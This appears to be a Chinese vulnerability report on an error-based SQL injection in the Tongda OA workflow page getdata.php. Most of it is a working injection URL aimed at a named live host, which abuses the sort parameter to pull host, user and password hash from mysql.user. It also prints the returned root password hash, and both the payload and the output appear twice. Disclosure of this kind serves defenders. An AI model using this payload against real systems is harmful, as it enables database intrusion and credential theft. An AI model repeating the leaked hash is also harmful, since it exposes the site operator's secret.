### 简要描述：

dd

### 详细说明：

http://www.tongda2000.com/oa/group/

试用登录

http://www.day900.com/

注入点：

http://www.day900.com/general/workflow/list/getdata.php?TYPE=2&RUN_ID=&RUN_NAME=&FLOW_ID=all&TIME_OUT_FLAG=all&_search=false&nd=1427034012264&rows=10&page=1&sidx=PRCS_TIME&sord=,(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

返回：

请联系管理员

错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key'

SQL语句: SELECT FLOW_RUN.RUN_ID,FLOW_RUN.FLOW_ID,FLOW_RUN.RUN_NAME,FLOW_RUN.BEGIN_USER,FLOW_RUN.END_TIME, FLOW_RUN_PRCS.ID AS PRCS_KEY_ID,FLOW_RUN_PRCS.PRCS_ID,FLOW_RUN_PRCS.FLOW_PRCS,FLOW_RUN_PRCS.COMMENT,FLOW_RUN_PRCS.OP_FLAG, FLOW_RUN_PRCS.PRCS_FLAG,FLOW_RUN_PRCS.TIME_OUT_FLAG,FLOW_RUN_PRCS.PRCS_TIME, FLOW_RUN_PRCS.CREATE_TIME,FLOW_RUN_PRCS.DELIVER_TIME,FLOW_RUN_PRCS.TIME_OUT FROM FLOW_RUN_PRCS LEFT JOIN FLOW_RUN ON FLOW_RUN.RUN_ID = FLOW_RUN_PRCS.RUN_ID WHERE FLOW_RUN.DEL_FLAG='0' AND FLOW_RUN_PRCS.PRCS_FLAG = '2' AND FLOW_RUN_PRCS.CHILD_RUN='0' AND FLOW_RUN_PRCS.USER_ID='ghq' ORDER BY PRCS_TIME ,(select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# LIMIT 0, 10

文件：/general/workflow/list/getdata.php

### 漏洞证明：

注入点：

http://www.day900.com/general/workflow/list/getdata.php?TYPE=2&RUN_ID=&RUN_NAME=&FLOW_ID=all&TIME_OUT_FLAG=all&_search=false&nd=1427034012264&rows=10&page=1&sidx=PRCS_TIME&sord=,(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

返回：

请联系管理员

错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key'

SQL语句: SELECT FLOW_RUN.RUN_ID,FLOW_RUN.FLOW_ID,FLOW_RUN.RUN_NAME,FLOW_RUN.BEGIN_USER,FLOW_RUN.END_TIME, FLOW_RUN_PRCS.ID AS PRCS_KEY_ID,FLOW_RUN_PRCS.PRCS_ID,FLOW_RUN_PRCS.FLOW_PRCS,FLOW_RUN_PRCS.COMMENT,FLOW_RUN_PRCS.OP_FLAG, FLOW_RUN_PRCS.PRCS_FLAG,FLOW_RUN_PRCS.TIME_OUT_FLAG,FLOW_RUN_PRCS.PRCS_TIME, FLOW_RUN_PRCS.CREATE_TIME,FLOW_RUN_PRCS.DELIVER_TIME,FLOW_RUN_PRCS.TIME_OUT FROM FLOW_RUN_PRCS LEFT JOIN FLOW_RUN ON FLOW_RUN.RUN_ID = FLOW_RUN_PRCS.RUN_ID WHERE FLOW_RUN.DEL_FLAG='0' AND FLOW_RUN_PRCS.PRCS_FLAG = '2' AND FLOW_RUN_PRCS.CHILD_RUN='0' AND FLOW_RUN_PRCS.USER_ID='ghq' ORDER BY PRCS_TIME ,(select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# LIMIT 0, 10

文件：/general/workflow/list/getdata.php